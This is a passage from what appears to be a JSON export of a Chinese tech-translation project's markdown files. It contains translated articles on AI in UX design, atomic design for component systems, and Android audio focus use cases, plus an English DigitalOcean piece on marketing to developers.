这与高级设计师正在指导一支初级设计师团队没什么不同的，双赢。\n\n像机器学习这样的 AI 技术可以使数字营销人员进行细粒度定位。例如，IBM 的 Watson 促进心理用户细分，使营销人员能够在正确的时间向正确的受众提供正确的内容。\n\n### Watson AI 的工作原理：\n\n为了发现统计学上相关的短语，Watson 将问题分解成不同的关键字或「句子片段」。它不仅为此操作创建了一种新算法，而且同时执行了数百种分析算法。\n\n如果越多的算法独立出现相同的答案，那么 Watson 就越有可能是正确的。一旦 Watson 获得了多个解决方案，它将验证数据库的潜在解决方法，从而确定其中的任何一个是否有意义。\n\n## 你会怎样塑造 AI 来获得更好的 UX ？\n\nAI 系统能够快速分析大量数据，并实时学习和调整其行为。 AI 系统可以从上下文中推断，你则需要给它们提供额外的关于业务规则、问题、元数据和类似的类似的其他条件的信息。\n\n当你通过每个设计阶段建立良好的用户体验时，你可以不断完善您询问 AI 系统的问题。这将改变分析数据的方式。\n\n例如，如果您正在管理健康保险网站，可以问如下问题：\n\n- 40 至 60岁之间有多少人使用你的应用程序？\n- 有多少准妈妈访问系统？\n\n系统会收到你的问题，分析数据并学习给出最佳答案。每当你提供新的数据或标准时，系统会使用人工智能来改善自身的用户体验。\n\n## 塑造 AI 的艺术：\n\n- 你可以向你的 AI 系统询问从一般到特殊问题。系统则处理问题、拿到数据再自我学习。\n- AI 可以分析搜索引擎上的所有查询，收集更多的用户分析结果、识别趋势，并生成更丰富的结果。\n- 使用数据优化搜索结果的质量：AI 可以预测搜索条件、提供建议、跨主题推荐（类似于 Amazon 提供的），从而给出更多相关的内容。\n- 最重要的是，AI 能学习到目前为止所有访问过你应用的用户，并为你的用户提供了所需的内容。这产生了更丰富的用户体验。\n- 具有 AI 的信息架构：AI 分析你的内部和外部数据，并帮助你构建内容管理系统的信息结构和最终用户的导航结构。\n\n用户体验不一定是利用对数据的见解，它也是关于智能的。人工智能通过向不同数据源注入智能，从而连接了各类独立的节点。\n\n虽然像机器学习、聊天机器人、VR、机器人、AR 等系统的 AI 技术正呈增长势头，但增长似乎是渐进的。 AI 与 UX 结合成为未来技术的标志。将 AI 与 UX 合并是一个公式，一个将引领我们增强内容的可查找性和可获取性的公式。\n\n---\n\n  > [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/atomic-design-how-to-design-systems-of-components.md",
    "content": "\n> * 原文地址：[Atomic design: how to design systems of components](https://uxdesign.cc/atomic-design-how-to-design-systems-of-components-ab41f24f260e)\n> * 原文作者：[Audrey Hacq](https://uxdesign.cc/@audreyhacq)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/atomic-design-how-to-design-systems-of-components.md](https://github.com/xitu/gold-miner/blob/master/TODO/atomic-design-how-to-design-systems-of-components.md)\n> * 译者：[H2O-2](https://github.com/H2O-2)\n> * 校对者：[ZhangFe](https://github.com/ZhangFe)，[LeviDing](https://github.com/leviding)\n\n# 原子设计：如何设计组件系统\n\n如今，数字产品需要同时适用于任何的设备，屏幕尺寸和媒介：\n\n![](https://cdn-images-1.medium.com/max/800/1*q-qsAsIFizbZkalv7TwEOw.jpeg)\n\n所有媒介现在都可以显示我们的界面元素\n> **所以我们为啥还在依据「页面」或者屏幕设计自己的产品？！**\n\n我们应该通过设计优美、简洁且兼容一切设备、屏幕尺寸或内容的访问方式取而代之。\n\n依据以上原则以及受到模块化设计的启发，Brad Frost 构想出了从最小的界面元素：原子，着手的原子设计方法。这个巧妙的比喻让我们理解了我们到底在创作什么，尤其是应该如何创作它。\n\n我对这个方法深信不疑：它终于可以让我们同时考虑部分和整体，拥有对产品或品牌的全局视野，并且能够以更接近开发者的工作方式工作。\n\n因此我自忖道：\n**「没错儿了，就是这样！我们就需要像这样工作！」**\n**但是说实话，我完全不知道该怎么做...**\n\n在花了几个月的时间并且做了几个实打实的项目之后，我才终于对「原子设计方式」的内在含义，以及它将会如何改变我的设计师之路有了些了解。\n\n在这篇文章里，我将会简要介绍一下我学到的知识，以及在通过原子设计方式设计组件系统时需要注意什么。\n\n### 针对何种项目？\n\n对于我来说，每一个项目，无论大小都可以使用原子设计的理念。\n\n这种方式可以统一团队的视野。组件易于复用、编辑和组合，使得项目的发展变得简单。至于小的项目嘛... 每个小项目总有一天都可能成为大项目，不是吗？\n\n和大部分人的认知相左的是，我认为原子设计方法并不只适用于网络相关的项目 ... 事实上截然相反！我成功地在一个个人项目中（一个叫做 [TouchUp](https://itunes.apple.com/fr/app/touchup/id1128944336?mt=8)) 的 iOS 应用，可以清理你的地址簿）引入了原子设计，而且与我合作的开发者非常欣赏这种方式。当我们想快速开发并迭代产品的时候，它帮了大忙。\n\n同时我推荐那些担忧创造性与构建组件系统是否可能共存的人读读这篇文章：「[原子设计与创造性](https://medium.com/@audreyhacq/atomic-design-creativity-28ef74d71bc6)」\n\n### **这和过去有什么不同呢？**\n\n经常有人问我：\n**「但是这和我们过去的工作方式有什么不同呢？」**\n\n我认为原子设计对界面设计方法只做出了很小的改变，但最终却带来了巨大的影响。\n\n> **部分塑造整体且整体塑造部分**\n\n直到最近，我们仍会单独设计产品的每一个界面，然后把它们裁剪成小组件，以此来创建设计规格或 UI 套件（UI Kits）：\n\n![](https://cdn-images-1.medium.com/max/800/1*3OFaoY-yLYdgPmO8AhejmQ.jpeg)\n\n之前：我们解构界面来制作组件。\n\n这样制作出来的组件有一个问题，它们并不通用，且互不依赖。因此组件的重复利用是非常有限的：我们的设计系统具有局限性。\n\n---\n\n现如今，原子设计的理念是从可以最终构建出整个项目的通用原材料（原子）入手。\n\n![](https://cdn-images-1.medium.com/max/800/1*yyN6Ki0646UcFLsDabUShw.jpeg)\n\n现如今：我们从原子开始并且用原子构建。\n\n因此我们不仅拥有了充斥在所有界面之间的「家庭气氛」（译注：「家庭气氛」是一部法国的喜剧电影），更拥有了一个带来无限设计可能性的系统！\n\n### 一切始于品牌识别（Brand Identity）\n\n现在你也许在想：\n**「如果我们想以原子的方式设计，该从哪开始呢？」**\n\n对这个问题我给出了一个极富逻辑性的回答：从原子开始 ;)\n\n因此我们首先要为产品设计出一个独特的视觉语言作为起点。它将会定义我们的原子和原材料，而且显然它应与品牌识别紧密相连。\n\n这个视觉语言一定要有力度、易于扩展、并且能够从其展示媒体中解放自我；它必须能在所有地方奏效！\n\n比如 [Gretel agency](http://gretelny.com/work/netflix/) 就为 Netflix 的品牌识别做了些出色的工作。\n\n![](https://cdn-images-1.medium.com/max/800/1*Piomy-9oNTP0yT3VcmKH4w.png)\n\nNetflix 的视觉语言：有力度、辨识度高且易于扩展。\n\n多亏了强有力的品牌识别，我们会觉得已经有充足的材料发布最初的一系列原子了：色彩、字体选择、表单、阴影、空白、节奏、动画原则...\n\n因此很有必要花时间设计品牌识别、思考重点是什么、以及如何能让品牌和产品与众不同。\n\n### 让我们回到组件上来\n\n有了原材料（目前仍然比较抽象），我们就可以根据产品目标以及我们辨识出的初始用户流程来设计我们最初的组件了。\n\n#### 从关键特征开始\n\n最让那些构建组件系统的设计师们胆寒的莫过于创建与什么都不关联的组件 ... 很显然，我们不会在没有购物功能的产品里设计购物车组件的！这完全不合常理！\n\n最初的组件将会和产品或品牌目标紧密结合。\n\n重申一遍，忘掉「页面」这个概念，我坚持侧重于产品特色或用户流程，而不是界面...\n\n![](https://cdn-images-1.medium.com/max/800/1*bn-X_RyQCiW375OBOtnZxw.gif)\n\n我们应该侧重于一个行为，而不是某个特定的界面。\n\n我们会把注意力集中在某个我们希望用户去执行的操作以及它所需要的组件上。界面数量则会根据用户环境变化：也许在台式电脑上我们只需半个界面，智能手机却需要三个连续的界面来显示某个组件...\n\n#### 充实组件系统\n\n接下来为了充实组件系统，我们要在已经存在的组件和新功能间循环往复：\n\n![](https://cdn-images-1.medium.com/max/800/1*35_KbPOTixmDVgUnShvitQ.jpeg)\n\n通过在已经存在的组件和新功能间循环往复来充实组件系统。\n\n最初的组件可以帮我们创建出最初的界面，接下来，最初的界面又会帮我们在系统中创造新的组件，或改变已有的组件。\n\n#### 「通用」思维方式\n\n![](https://cdn-images-1.medium.com/max/800/1*pMfHPwQ0dH_ITybJ9mVIGg.png)\n\n在用原子设计方法设计时，我们应该牢记，同一个组件会在不同的上下文环境中被否决或重复使用。\n\n> **因此我们将会把元素的结构和其内容真正区别开来**\n\n例如我要创建一个「联系人列表」组件，我可以马上把它转变成一个通用的「列表」组件。\n\n然后我会想想这个组件可能有的变形：如果我要添加或删除元素怎么办？如果文本占了两行呢？这个组件的响应式行为会是什么？\n\n![](https://cdn-images-1.medium.com/max/800/1*zpLDZgMO0s6R0OsTX0g5NQ.png)\n\n把一个特定组件转变为通用组件。\n\n预见到这些变形后，我可以在这个组件基础上，创建出其他的组件：\n\n![](https://cdn-images-1.medium.com/max/800/1*nn-NcMuzv6VdV3hpgvc7AQ.png)\n\n通用组件的可能变形。\n\n如果想让我们的组件系统内容丰富且可被再利用，这么做是必须的。\n\n#### 「流体」思维方式\n\n我们仍倾向于把响应式设计想成块状元素在特定断点上的重新组合。\n\n然而实际上组件自身必须拥有它们自己的断点和流体行为（fluid behavior）。\n\n多亏了像 Sketch 这样的软件，我们终于可以测试组件的各种响应式行为并且决定哪些组件应该是流体的，哪些组件应该是固定的。\n\n![](https://cdn-images-1.medium.com/max/800/1*LXu8lJ-poM3d6TD3g6y2uw.gif)\n\n我们需要预测组件的流体行为。\n\n我们也可以预想到，一个组件在不同的用户环境中可能会有很大区别。\n\n比如一个在台式电脑上显示为圆角矩形的按钮，在智能手表上可能就会变成一个带有图标的简易的圆形。\n\n#### 部分和整体\n\n通过原子设计构建组件系统有一个有趣的地方：我们在有意识地创建一系列互相依赖的组件。\n\n![](https://cdn-images-1.medium.com/max/800/1*7xilIVazxs1V6rGCY9VuDA.jpeg)\n\n完成细节部分后再后退一步，在更大的格局中审视结果。\n\n我们不断地把视线拉近或拉远来进行作业。我们会先在一个细节、一个微交互、或是一个组件的微调上花时间，接着后退一步在上下文环境中审视其视觉效果，接着再后退一步查看整体效果。\n\n这就是我们改进品牌识别，开发组件以及检验组件系统正常运作的方法。\n\n### 使成品相关联\n\n![](https://cdn-images-1.medium.com/max/800/1*gczpHM7chfldsdtvr7Umtw.png)\n\n我们所有的组件都与原子相连。因此我们将可以轻松地更改部分组件系统，并观察这种更改对系统其余部分的副作用！\n\n> **如今身为设计师的我们是何其幸运：利用改良之后的工具，我们终于可以创造出灵活且不断演化的系统了。**\n\n当然，现在已经有可以让我们创建共享样式并使相似组件相互关联的软件了，例如 Sketch 和 Figma。但是我确信在接下来的几年内会出现更多这样的软件。\n\n我们终于可以像开发者一样拥有自己的风格指南（style guide）并围绕它构建整个组件系统了。对系统中一个原子的微调就会自动反应到所有使用它的组件：\n\n![](https://cdn-images-1.medium.com/max/800/1*xAMdhevJ8lLRMxO_yLljZg.gif)\n\n所有组件都与原子相连。\n\n我们很快就会意识到对组件的修改会如何影响整个系统。\n\n我们也会意识到，通过使组件相连，一个新增的组件将会影响到整个系统的核心部分，而不仅仅是一个孤立的界面。\n\n### 共享系统\n\n为了保持多个产品的一致性，系统的共享是必须的。\n\n我们都知道，当我们独立完成一个项目时，一致性很快就会消失，但当我们越来越多地和其他设计师合作时，保持一致性会更加困难。\n\n这时又一次，我们已经拥有可以围绕一个共同的系统进行团队协作的工具了。\n\n例如 Sketch 的 Craft，或是 Adobe 的[共享库](https://uxdesign.cc/how-to-use-adobe-cc-shared-libraries-and-make-the-most-of-it-d5e114014170)，这些工具使我们拥有一个公有且一直保持最新状态的单一数据源（single source of truth）。\n\n![](https://cdn-images-1.medium.com/max/800/1*ses_KEaaren8CHX6KHoxXg.jpeg)\n\n共享库：一直同步并保持最新状态。\n\n共享库使多个设计师可以从相同的基本组件开始他们的设计。\n\n这些库同时也精简了我们的工作，因为我们一旦在共享库中更新了一个组件，这个更改会自动应用到每个设计师使用的所有与其相关的文件上：\n\n![](https://cdn-images-1.medium.com/max/800/1*jIV9_u7tWnNsmEwzlvYB9w.gif)\n\n在库中的一个更改会自动改变所有与其关联的元素。\n\n我必须承认，在我试用过的所有共享库中，还没有一个完美契合原子设计工作的... 原子和组件间强大的相互依赖性仍然缺乏，这一特点使我们可以创建灵活且不断演化的系统。\n\n另一个问题是我们仍然有两种不同的库：设计师的库和开发者的库... 因此这两种库需要同步维护，带来了错误和许多额外的工作。\n\n我理想中完美的共享库是这样的：一个可以同时满足设计师和开发者需求的库：\n\n![](https://cdn-images-1.medium.com/max/800/1*E8xw35qc9Iznt_3JB6o1Yg.jpeg)\n\n我理想中的未来：一个可以同时满足设计师和开发者需求的单一的库。\n\n但在我看到如 [React Sketch app](https://github.com/airbnb/react-sketchapp)（由 Airbnb 在近期发布） 这样使代码写成的组件可以直接在 Sketch 文件中使用的插件之后，我对自己说，也许这个未来已经不远了...\n\n![](https://cdn-images-1.medium.com/max/800/1*lOm8j3gpZHjxoAei2g9F1Q.png)\n\nReact Sketch 插件：代码写成的组件可以直接在 Sketch 中使用。\n\n### 写在最后\n\n我想你应该已经理解了：我坚信需要使用组件设计界面，考虑灵活且不断演化的系统，并且我认为原子设计方法会帮助我们有效的达成这些目的。\n\n**如果你也有在大小项目上使用组件系统的反馈，就在评论区分享你的经验吧！**\n\n![](https://cdn-images-1.medium.com/max/800/1*aNPBhln7iDMY8qRcmoyCfA.jpeg)\n\n**这篇由 Audrey 撰写的文章旨在分享知识并扶持设计社区。所有在 uxdesign.cc 上发表的文章都遵从这一[**理念**](https://uxdesign.cc/the-design-community-we-believe-in-369d35626f2f)**\n\n![](https://cdn-images-1.medium.com/max/800/1*aNPBhln7iDMY8qRcmoyCfA.jpeg)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)。\n"
  },
  {
    "path": "TODO/attract-millions-developers-product.md",
    "content": ">* 原文链接 : [How To Attract Millions of Developers to Your Product](http://www.techstars.com/content/accelerators/boulder/attract-millions-developers-product/)\n* 原文作者 : [Mitch Wainer](http://www.techstars.com/content/author/mitch-wainer/)\n* 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n* 译者 : \n* 校对者:\n\n\n<span>According to Evans Data, there will be</span> [**over 25 million software developers by 2020**](http://www.evansdata.com/reports/viewRelease.php?reportID=9)<span>. It’s become one of the hottest markets in tech as well as</span> [**the fastest growing professional segment in the world**](http://www.economicmodeling.com/2012/12/06/careerbuilder-and-emsi-release-top-jobs-for-2013/)<span>. Leading B2D companies such as GitHub, Stripe, Twilio and DigitalOcean have been able to attract millions of developers to their platforms through organic efforts.</span>\n\n<span>Why organic? Developers are savvy consumers and they’re typically turned off by traditional online advertising efforts. As an example, we ran a test in Google Analytics and discovered that</span> **over 30% of our website visitors had ad-blockers turned on.** <span>This piece of data tells us that a large percentage of our audience blocks display and retargeting ads when they browse the internet. Holistically, the world of modern marketing has evolved and</span> **relationship marketing** <span>has become the best way to drive long-term sustainable growth. Instead of focusing on short-term metrics and targets, build long-term relationship marketing programs that enhance the entire customer lifecycle experience and provide value to the end user at the top, middle, and bottom of the funnel. Here are a few key strategies to attract developers to your product:</span>\n\n**Be honest, clear and concise with your messaging.** <span>Honesty and authenticity go a long way with the developer community. Keep your website informative and truthful and the developers who read them will have a far better impression of your business. Simplify overly-technical descriptions into clear and absorbable messaging, that becomes the winning formula to drive engagement.</span>\n\n<span>When writing copy and messaging, try to stick to these guidelines:</span>\n\n– Be clear, concise, and direct\n\n<span>– Do not try to oversell developers</span>\n\n<span>– Avoid hyperbole to describe your business</span>\n\n<span>– Avoid boasting (e.g. we’re #1 or we’re better than XYZ company)</span>\n\n<span>– Speak the same language, developers want to talk to developers</span>\n\n<span>– Don’t over-message and bombard customers with emails</span>\n\n**Give it away for free.** <span>This is a great strategy to feed your top of the funnel.</span> <span>Developers aren’t willing to pay up front because migrating, integrating, or customizing a product to fit their code is a time commitment. You have to show it’s worth their time.</span> <span>Incentivizing them with promotional credits via meetups, events, social, paid channels, or email can be effective way to get them to try your product.</span>\n\n**Accelerate word of mouth growth through an internal referral program**<span>. Focus on the customers that love your brand and give them tools and rewards for spreading that love. You can identify customer advocates by tracking your</span> [**Net Promoter Score (NPS)**](http://tomtunguz.com/nps-benchmarks/) <span>across all cohorts. Based on our above-average NPS rating (69) and understanding that the large majority of new signups were coming through direct and word of mouth channels, we knew that there was a tremendous opportunity to harness and complement our organic momentum with an internal referral program. When we were creating the program, we’d jumped on the phone with the growth teams from the best of breed companies, Dropbox and Airbnb, to ask what worked best for their referral programs. Our teams spent a lot of time on iterating to create a desirable incentive for our customers and we landed on a</span> [**double-sided program**](https://www.digitalocean.com/referral-program/) <span>that grants account credits to both the referrer ($25) and the referral ($10). So for us, it’s been very successful and it has become one of our largest channels for driving growth.</span>\n\n**Earned media can spark viral awareness.** <span>We leveraged relationship marketing tactics early on to acquire our first 2,000 customers. But it wasn’t until January 15th, 2013, when we released our all-SSD cloud server plans that catapulted our business. Fortunately, on launch day we were able to secure</span> [**our first TechCrunch exclusive**](http://techcrunch.com/2013/01/15/techstars-graduate-digitalocean-switches-to-ssd-for-its-5-per-month-vps-to-take-on-linode-and-rackspace/) <span>that catapulted our daily signups overnight (see graph below). Within a month we went viral again on Hacker News when one of our customers</span> [**benchmarked our performance**](http://jasonormand.com/2013/02/08/linode-vs-digitalocean-performance-benchmarks/) <span>and wrote about it on his blog. Each earned media event created a new level of sustainable growth for our business and “The Hacker News Effect” was by far the most impactful.</span>\n\n![](http://ww2.sinaimg.cn/large/a490147fgw1f2sr134jt5j20k005emxv.jpg)\n\n**Create authentic conversations on Twitter, Q&A sites, forums, and blogs.** <span>We used the</span> [**search.twitter.com**](https://twitter.com/search-home) <span>tool to find and join conversations to help developers with their server problems and/or give credits to try our product. This was an effective relationship building strategy that built brand trust and credibility which sparked early momentum from a small group of users. Additionally, we were able to successfully build new relationships and partnerships with a few key influencers early on and through their personal brand and communities, they were able to recommend us and drive several hundred users to our platform.</span>\n\n**Invest in creating content that solves a problem**<span>. Developers at various skill levels defer to Google to help solve their problems when they’re building their stack. A key component to building an effective inbound growth engine to develop high-quality content that educates your target audience. We have an amazing team of technical writers and editors that have published over 1,300 server config tutorials to date. These tutorials drive over</span> **3.7M unique monthly visitors** <span>to our website and we’re able to leverage this awareness to drive engagement to our product.</span>\n\n**Get to know your early adopters on a personal level.** <span>Go above and beyond for your customers, grant them large credits, surprise them with swag/personal thank you letters, talk to them on the phone, take them out for coffee or lunch. Ask them about their challenges, why they signed up for your product, what events do they attend and which websites do they visits. This will help craft your go to market strategy to attract your next thousand users or customers. Your early adopters will become your brand’s voice. Without our loyal early adopters, DigitalOcean wouldn’t have a brand voice when our product went viral in the Hacker News community. There would have been no one to vet and represent us in those conversations and we wouldn’t be where we are today without the voice of our early adopters.</span>\n\n<span>But before you ask the question, “How do I acquire more developers as customers?,” you need to understand if developers love using your product. Because once they do, your product can go viral almost instantaneously through the socially active online developer communities (e.g. Hacker News, Reddit, Stackoverflow, etc).</span> **Bottom line: marketing is the fuel to the product’s fire and is very rarely the fire.** <span>Once you’ve built a product that developers love, you can harness that momentum to drive growth by building an organic flywheel effect using these strategies.</span>\n\n"
  },
  {
    "path": "TODO/audio-focus-1.md",
    "content": "> * 原文地址：[Understanding Audio Focus (Part 1 / 3): Common Audio Focus use cases](https://medium.com/google-developers/audio-focus-1-6b32689e4380)\n> * 原文作者：[Nazmul Idris (Naz)](https://medium.com/@nazmul?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/audio-focus-1.md](https://github.com/xitu/gold-miner/blob/master/TODO/audio-focus-1.md)\n> * 译者：[oaosj](https://github.com/oaosj)\n\n# 理解音频焦点 (第1/3部分)：常见的音频焦点用例\n\n![](https://cdn-images-1.medium.com/max/2000/1*2_mUAwAihjBYMszQCCL0Mw.png)\n\n\nAndroid手机支持多个应用同时播放音频。操作系统会把多个音频流混合在一起播放，但是多个应用同时播放音频，给用户带来的体验往往不佳。为了提供更友好的用户体验，Android提供了一个[API](https://developer.android.com/guide/topics/media-apps/audio-focus.html)，让应用程序可以共享**音频焦点**，旨在保证同一时段内只有一个应用可以维持音频聚焦。\n\n本系列文章旨在让您深入理解音频焦点的含义，使用方法和其对用户体验的重要性。本篇文章是该系列的第一部分，该系列三篇文章包含了：\n\n1.  最常见的音频焦点用例和成为一个优秀的媒体使用者的重要性（**此篇文章**）\n2.  [其它一些能体现音频焦点对应用体验的重要性的用例](https://medium.com/@nazmul/audio-focus-2-42244043863a)\n3.  [在您的应用中实现音频焦点的三个步骤](https://medium.com/@nazmul/audio-focus-3-cdc09da9c122)\n\n音频焦点的良好协作性，主要依赖于应用程序是否遵循音频焦点指南，操作系统没有强制执行音频焦点的规范来约束应用程序，如果应用选择在失去音频焦点后继续大声播放音频，会带来不良的用户体验，可能直接导致用户卸载应用，但这是无法阻止的行为，只能靠开发者自我约束。\n\n下面是一些音频焦点使用场景（假设用户正在使用您的应用播放音频）。\n\n当您的应用需要播放声音的时候，应该先请求音频聚焦，在获得音频焦点后再播放声音。\n\n### 用例一 ： 用户在使用您的应用播放音频1时，打开另一个应用并尝试播放该应用相关的音频2\n\n#### 您的应用不处理音频焦点的情况下：\n\n您的音频1和另一个应用的音频2会重叠播放，用户无法正常听到来自任何应用的音频，这样的用户体验很不友好。\n\n![](https://cdn-images-1.medium.com/max/800/1*zaIB6fKmwSwhm_UM3Yox_A.png)\n\n#### **您的应用处理了音频焦点的情况下：**\n\n在另一个应用需要播放音频时，它会请求音频焦点常驻，即音频永久聚焦。一旦系统授权，它便会开始播放音频，这时候您的应用需要响应音频焦点的丢失通知，停止播放。这样用户就只会听到另一个应用的音频。\n\n![](https://cdn-images-1.medium.com/max/800/1*xk8Tio4_XxtmuoH9CK7qkQ.png)\n\n同样的道理，假如过了五分钟，您的应用需要播放音频，您同样需要申请音频焦点，一旦获得系统授权，我们就可以开始播放音频，其它应用响应音频焦点丢失通知，停止播放。\n\n### 用例二 ： 当您播放音频时候，正好手机来电，需要播放响铃。\n\n#### **您的应用不处理音频焦点的情况下：**\n\n手机响铃后，用户会听到铃声和您的手机音频叠加在一起播放。如果用户选择直接挂断电话，您的音频会保持播放。如果用户选择接通电话，他会听到通话声音和您的应用音频叠加在一起播放，挂断通话后您的应用音频会保持播放。无论如何，您的应用音频将全程保持播放状态。这带来的通话体验极差。\n\n![](https://cdn-images-1.medium.com/max/1000/1*_HjTvrT4locQYp8LHIMVrA.png)\n\n#### **您的应用处理了音频焦点的情况下：**\n\n当手机响铃（您还未接通电话）, 您的应用应该选择相应的回避（这是系统应用的要求）措施来响应短暂的音频焦点丢失。回避的措施可以是把应用的音量降低到百分之二十，也可以是直接暂停播放（如果您的应用是播客类，语音类应用）。\n\n*   如果用户拒绝接听电话，您的应用可以马上采取响应音频焦点的获取，然后做出提高音量或恢复播放的相关操作。\n*   如果用户接听了电话，操作系统会发出音频焦点丢失的通知。您的应用应该选择暂停播放，然后在通话结束后恢复播放。\n\n![](https://cdn-images-1.medium.com/max/1000/1*P1JDTh8I8XkDwXMPjGD2cg.png)\n\n### 总结\n\n当您的应用需要输出音频时，应该请求音频焦点。只有在获得音频焦点后，才能开始播放。但是，在播放过程中可能无法把音频焦点一直据为己有，因为其它应用程序可以发出音频焦点的请求来抢占音频焦点，这种情况下，您的应用可以选择暂停播放或者降低音量，这样用户才能更清晰地听到其它应用程序的音频。\n\n想详细了解更多应用程序中音频焦点的场景用例，请阅读本系列 [第二篇文章](https://github.com/xitu/gold-miner/blob/master/TODO/audio-focus-2.md)。\n\n[**理解音频焦点 (第2/3部分) - Nazmul Idris (Naz) - Medium**](https://github.com/xitu/gold-miner/blob/master/TODO/audio-focus-2.md)\n\n想学习怎么在您的应用中实现音频焦点的相关操作，请阅读本系列 [第三篇文章（终章）](https://github.com/xitu/gold-miner/blob/master/TODO/audio-focus-3.md)。\n\n[**理解音频焦点 (第3/3部分) - Nazmul Idris (Naz) - Medium**](https://github.com/xitu/gold-miner/blob/master/TODO/audio-focus-3.md)\n\n### Android多媒体开发资源\n\n*   [示例代码 — MediaBrowserService](https://github.com/googlesamples/android-MediaBrowserService)\n*   [示例代码 — MediaSession Controller Test （带有音频焦点测试）](https://github.com/googlesamples/android-media-controller)\n*   [了解 MediaSession](https://medium.com/google-developers/understanding-mediasession-part-1-3-e4d2725f18e4)\n*   [多媒体API指南 — 多媒体应用程序概述](https://developer.android.com/guide/topics/media-apps/media-apps-overview.html)\n*   [多媒体API指南 — 使用MediaSession](https://developer.android.com/guide/topics/media-apps/working-with-a-media-session.html)\n*   [使用MediaPlayer构建简单的音频应用程序](https://medium.com/google-developers/building-a-simple-audio-app-in-android-part-1-3-c14d1a66e0f1)\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[React](https://github.com/xitu/gold-miner#react)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计) 等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO/audio-focus-2.md",
    "content": "> * 原文地址：[Understanding Audio Focus (Part 2 / 3): More Audio Focus use cases](https://medium.com/google-developers/audio-focus-2-42244043863a)\n> * 原文作者：[Nazmul Idris (Naz)](https://medium.com/@nazmul?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO/audio-focus-2.md](https://github.com/xitu/gold-miner/blob/master/TODO/audio-focus-2.md)\n> * 译者：[oaosj](https://github.com/oaosj)\n\n# 理解音频焦点 (第 2/3 部分)：更多的音频焦点用例\n\n![](https://cdn-images-1.medium.com/max/2000/1*2_mUAwAihjBYMszQCCL0Mw.png)\n\n\n本系列文章旨在让您深入理解音频焦点的含义，使用方法和其对用户体验的重要性。本篇文章是该系列的第一部分，该系列三篇文章包含了：\n\n1.  [最常见的音频焦点用例和成为一个优秀的媒体使用者的重要性](https://medium.com/@nazmul/audio-focus-1-6b32689e4380)\n2.  其它一些能体现音频焦点对应用体验的重要性的用例 (**此篇文章**)\n3.  [在您的应用中实现音频焦点的三个步骤](https://medium.com/@nazmul/audio-focus-3-cdc09da9c122)\n\n本系列的第一篇文章介绍了您可能遇到的两种最常见的使用情况，其中音频焦点对您应用的用户体验至关重要。本文将继续介绍一些用例，并介绍应用可以请求的音频焦点类型的概念，以帮助应用微调音频。\n\n### 用例一 ：当后台运行的导航程序正在播报转向语音的时候，另一个应用正在播放音乐。 \n\n#### **您的应用不处理音频焦点的情况下：**\n\n导航语音和音乐混在一起播放将会使用户分心。\n\n#### **您的应用处理了音频焦点的情况下：**\n\n当导航开始播报语音的时候,您的应用需要响应音频焦点丢失，选择回避模式，降低声音。\n\n这里所说的回避模式，没有约束规定，建议您做到把音量调节到百分之二十。有一些特殊的情况，如果应用是有声读物，播客或口语类应用，建议暂停声音播放。\n\n当语音播报完，导航应用会释放掉音频焦点，您的应用可以再次获得音频聚焦，然后恢复到原有音量播放（选择降低音量的回避模式时），或者恢复播放（选择暂停的回避模式时）。\n\n### 用例二 ：用户在打电话的时候启动游戏（游戏播放音频）\n\n#### **您的应用不处理音频焦点的情况下：**\n\n通话声音和游戏声音的重叠播放同样会让用户的体验非常糟糕。\n\n#### **您的应用处理了音频焦点的情况下：**\n\n在 Android O 中，有一个应对诸如本用例的音频焦点的功能，叫做**延迟音频聚焦**。\n\n假如当用户在通话中打开游戏，他们想玩游戏，不想听到游戏声音。但是当他们通话结束的时候他们想听到游戏声音（通话应用暂时持有音频焦点）。如果您的应用支持**延迟音频聚焦**，会发生如下情况：\n\n1. 当您的应用申请音频焦点的时候，会被拒绝并锁住，通话应用继续持有音频焦点，您的应用因此不播放音频。因为您的应用是游戏，可以正常继续操作，只是没有声音。\n2. 